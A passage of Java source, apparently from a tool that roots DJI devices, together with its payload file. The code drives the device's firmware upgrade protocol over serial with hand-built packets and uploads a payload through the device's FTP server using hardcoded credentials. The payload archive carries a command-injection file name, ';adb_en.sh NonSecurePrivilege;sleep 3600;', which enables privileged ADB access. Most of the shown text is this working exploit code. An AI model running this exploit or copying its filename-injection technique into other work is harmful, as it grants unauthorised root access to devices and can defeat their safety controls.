 78 |             } catch (NumberFormatException e) {
 79 |                 System.out.println("[!] Invalid port selection");
 80 |                 System.out.print("Choose port: ");
 81 |             }
 82 |         }
 83 | 
 84 |         if (activePort == null) {
 85 |             System.out.println("Couldn't find port, exiting");
 86 |             return;
 87 |         }
 88 | 
 89 |         if (activePort.isOpen()) {
 90 |             System.out.println(activePort.getSystemPortName() + " is already open");
 91 |             activePort.closePort(); //meh why not
 92 |             return;
 93 |         }
 94 | 
 95 |         if (!activePort.openPort()) {
 96 |             System.out.println("Couldn't open port, please close all other DUML/DJI Apps and try again");
 97 |             activePort.closePort(); //meh why not
 98 |             return;
 99 |         }
100 | 
101 |         activePort.setBaudRate(115200);
102 | 
103 |         System.out.println("Reading payload");
104 | 
105 |         InputStream is = classLoader.getResourceAsStream("resources/payload.bin");
106 |         byte[] payload = null;
107 |         try {
108 |             payload = isToArray(classLoader.getResourceAsStream("resources/payload.bin"));
109 |             is.close();
110 |         } catch (IOException e) {
111 |             e.printStackTrace();
112 |         }
113 | 
114 |         System.out.println("Entering upgrade mode");
115 |         write(UPGRADE_MODE_ENTER());
116 | 
117 |         try {
118 |             Thread.sleep(1000);
119 |         } catch (InterruptedException e) {
120 |             e.printStackTrace();
121 |         }
122 | 
123 |         System.out.println("Sending filesize");
124 |         write(UPGRADE_DATA(payload.length));
125 | 
126 |         try {
127 |             Thread.sleep(1000);
128 |         } catch (InterruptedException e) {
129 |             e.printStackTrace();
130 |         }
131 | 
132 |         System.out.println("Uploading payload");
133 |         ftpClient = new FTPClient();
134 |         try {
135 |             ftpClient.connect("192.168.42.2", 21);
136 |             ftpClient.login("dontforget","aboutjcase");
137 |             ftpClient.enterLocalPassiveMode();
138 |             ftpClient.setFileType(ftpClient.BINARY_FILE_TYPE);
139 |             is = classLoader.getResourceAsStream("resources/payload.bin");
140 |             ftpClient.storeFile("/upgrade/data_copy.bin", is);
141 |             is.close();
142 |         } catch (IOException e) {
143 |             e.printStackTrace();
144 |         }
145 | 
146 |         try {
147 |             Thread.sleep(1000);
148 |         } catch (InterruptedException e) {
149 |             e.printStackTrace();
150 |         }
151 | 
152 |         System.out.println("Executing update");
153 |         write(UPGRADE_FINISH_DATA(payload));
154 | 
155 | 
156 |         try {
157 |             Thread.sleep(1000);
158 |         } catch (InterruptedException e) {
159 |             e.printStackTrace();
160 |         }
161 | 
162 |         System.out.println("Finished (system may still be processing the update)");
163 | 
164 |         try {
165 |             ftpClient.disconnect();
166 |             activePort.closePort();
167 |         } catch (IOException e) {
168 |             e.printStackTrace();
169 |         }
170 |     }
171 | 
172 |     private static void write(byte[] packet) {
173 |         activePort.writeBytes(packet,packet.length);
174 |         try {
175 |             Thread.sleep(1000);
176 |         } catch (InterruptedException e) {
177 |             e.printStackTrace();
178 |         }
179 |     }
180 | 
181 |     private static byte[] isToArray(InputStream is) throws IOException {
182 | 
183 |         ByteArrayOutputStream buffer = new ByteArrayOutputStream();
184 | 
185 |         int nRead;
186 |         byte[] data = new byte[16384];
187 | 
188 |         while ((nRead = is.read(data, 0, data.length)) != -1) {
189 |             buffer.write(data, 0, nRead);
190 |         }
191 | 
192 |         buffer.flush();
193 | 
194 |         return buffer.toByteArray();
195 |     }
196 |     /*
197 | 
198 | UPGRADE_MODE_ENTER -       0,HS,28637,55 16 04 FC 2A 28 B8 51 40 00 07 00 00 00 00 00 00 00 00 00 9F BF
199 | UPGRADE_DATA               0,HS,28831,55 1A 04 B1 2A 28 BB 51 40 00 08 00 C8 57 08 00 00 00 00 00 00 00 02 08 2E 88
200 | UPGRADE_FINISH_DATA        0,HS,46759,55 1E 04 8A 2A 28 CE 51 40 00 0A 00 A5 1B BF 03 A2 B5 0D F6 DB 1C 5B 28 EF 5D 7A D9 9E 39
201 |  */
202 | 
203 |     private static byte[] UPGRADE_MODE_ENTER() {
204 |         byte[] packet = new byte[] {0x55,0x16,0x04,(byte)0xFC,0x2A,0x28,(byte)0xB8,0x51,0x40,0x00,0x07,0x00,0x00,0x00,
205 |                 0x00,0x00,0x00,0x00,0x00,0x00};
206 |         return CRC.pktCRC(packet);
207 |     }
208 | 
209 |     private static byte[] UPGRADE_DATA(int fileSize) {
210 |         byte[] packet = new byte[] {0x55,0x1A,0x04,(byte)0xB1,0x2A,0x28,(byte)0xBB,0x51,0x40,0x00,0x08,0x00,0x00,0x00,
211 |                 0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x02,0x08};
212 |         byte[] size = ByteBuffer.allocate(4).putInt(fileSize).array();
213 | 
214 |         packet[12] = size[3];
215 |         packet[13] = size[2];
216 |         packet[14] = size[1];
217 |         packet[15] = size[0];
218 | 
219 |         return CRC.pktCRC(packet);
220 |     }
221 | 
222 |     private static byte[] UPGRADE_FINISH_DATA(byte[] payload) {
223 |         byte[] packet = new byte[] {0x55,0x1E,0x04,(byte)0x8A,0x2A,0x28,(byte)0xCE,0x51,0x40, 0x00, 0x0A, 0x00,
224 |                 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00};
225 | 
226 |         byte[] md5 = payload;
227 | 
228 |         try {
229 |             MessageDigest md = MessageDigest.getInstance("MD5");
230 |             md5 = md.digest(md5);
231 |         } catch (NoSuchAlgorithmException e) {
232 |             e.printStackTrace();
233 |         }
234 | 
235 |         System.arraycopy(md5,0, packet, 12, 16);
236 |         return CRC.pktCRC(packet);
237 |     }
238 | 
239 | 
240 | }
241 | 


--------------------------------------------------------------------------------
/src/resources/payload.bin:
--------------------------------------------------------------------------------
1 | ;adb_en.sh NonSecurePrivilege;sleep 3600;nfz.db000644 000765 000024 00000000000 13317520306 021556 0ustar00jcasestaff000000 000000 


--------------------------------------------------------------------------------